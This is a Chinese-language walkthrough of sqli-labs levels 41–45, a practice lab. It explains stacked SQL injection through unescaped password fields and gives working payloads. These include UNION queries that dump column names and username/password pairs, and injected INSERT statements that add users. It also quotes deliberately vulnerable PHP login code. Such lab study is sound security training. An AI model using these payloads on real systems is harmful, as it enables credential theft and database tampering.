0x1普通测试方式

(1)输入and1=1和and1=2测试,返回错误,证明存在注入

(2)union select联合查询

(3)查询表名

(4)其他

payload:
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')%23
union select 1,(select group_concat(username,password) from users)%23

0x2 堆叠注入方式

 

payload:
http://192.168.232.135/sqli-labs/Less-41/?id=1;insert into users values(105,'test1','test1')%23

 

 

 

 

0x3 第四十二关 

本关打开是post,新建用户和重置密码处都无法访问Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的

 

(1)查看源码login.php,可以看出password参数没有经过过滤

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

(2)这样一来我们就可以直接在密码处做文章

随意输入用户名,密码如下:

 

a';insert into users values(106,'aaa','aaa')

 

 

 0x4 第四十三关 

 与上面原理,不同的地方是闭合点不同

过滤点:
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

sql语句:
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

随意输入用户名,密码如下: 

paload:
a');insert into users values(106,'aaa','aaa')%23

 0x5 第四十四关

本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息

过滤点:
$username
= mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"];
sql语句:
$sql
= "SELECT * FROM users WHERE username='$username' and password='$password'";

随意输入用户名,密码如下:

paload:
a';insert into users values(107,'aaa''aaa')#

 

0X6 第四十五关 

与四十三关的区别在于并没有报错信息,也就是基于盲注

payload:
a');insert into users values(108,'aaa','aaa')#